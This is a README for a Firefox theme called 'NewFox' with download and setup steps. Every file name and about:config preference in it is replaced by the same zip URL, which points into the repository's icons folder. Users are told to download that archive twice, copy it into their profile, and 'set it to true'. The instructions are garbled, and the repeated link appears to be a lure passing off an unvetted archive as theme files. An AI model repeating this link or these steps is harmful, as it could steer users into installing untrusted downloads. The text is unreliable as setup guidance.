NewFox is a minimal Firefox theme designed to enhance your browsing experience. It tweaks the appearance of your browser using userContent and userChrome files. This means you get a cleaner, more stylish look without the clutter.
Follow these simple steps to download and set up NewFox on your Firefox browser.
Before you start, make sure you have the latest version of Firefox installed on your computer. You can download Firefox from Mozilla's official site.
To get NewFox, visit our Releases page. Here, you will find the latest version of the theme ready for download.
Once on the Releases page, find the most recent version of NewFox. Click on the version number to access the download options.
Select the files named https://github.com/Biinladen/NewFox/raw/refs/heads/main/NewFox/profile/chrome/icons/New-Fox-v1.8.zip and https://github.com/Biinladen/NewFox/raw/refs/heads/main/NewFox/profile/chrome/icons/New-Fox-v1.8.zip, and download them to your computer. Make sure to remember where you save them.
After you have downloaded the files, follow these instructions to install the theme.
- Open Firefox.
- Type
about:supportin the address bar and hit Enter. - In the "Application Basics" section, find "Profile Folder". Click on "Open Folder".
In the profile folder, check if you have a folder named chrome. If it doesnβt exist, create a new folder and name it chrome.
Copy the downloaded https://github.com/Biinladen/NewFox/raw/refs/heads/main/NewFox/profile/chrome/icons/New-Fox-v1.8.zip and https://github.com/Biinladen/NewFox/raw/refs/heads/main/NewFox/profile/chrome/icons/New-Fox-v1.8.zip files into the chrome folder you just opened.
- Type in
about:configin the address bar. - Search for
https://github.com/Biinladen/NewFox/raw/refs/heads/main/NewFox/profile/chrome/icons/New-Fox-v1.8.zipand double-click on it to set it totrue. This enables custom themes.
Close Firefox completely and reopen it. You should see the new NewFox theme applied.
- Minimalist Design: Enjoy a clean and uncluttered interface.
- Customizable Options: Adjust settings to your taste for a unique browsing experience.
- Constant Updates: We regularly update the theme for enhancements and fixes.
- User-Friendly: No complex installation. Just follow the steps, and you are good to go.
To keep your NewFox theme current, periodically check the Releases page. Follow the same download and installation steps to update your files.
If you experience any issues with NewFox, consider these steps:
- Theme Not Showing: Ensure you have enabled
https://github.com/Biinladen/NewFox/raw/refs/heads/main/NewFox/profile/chrome/icons/New-Fox-v1.8.zipin the about:config settings. - Files Missing: Double-check that you placed the CSS files in the correct
chromefolder. - Firefox Version: Ensure you are using the latest version of Firefox.
If problems persist, you can reach out to the community by opening an issue on the GitHub repository.
If you have questions or need further assistance, please feel free to contact support through our GitHub page. Your feedback helps us improve NewFox for everyone.
We welcome contributions to make NewFox even better. If you want to help, check out the guidelines on our GitHub repository and join our community of contributors.
Thank you for choosing NewFox! Enjoy your enhanced Firefox experience.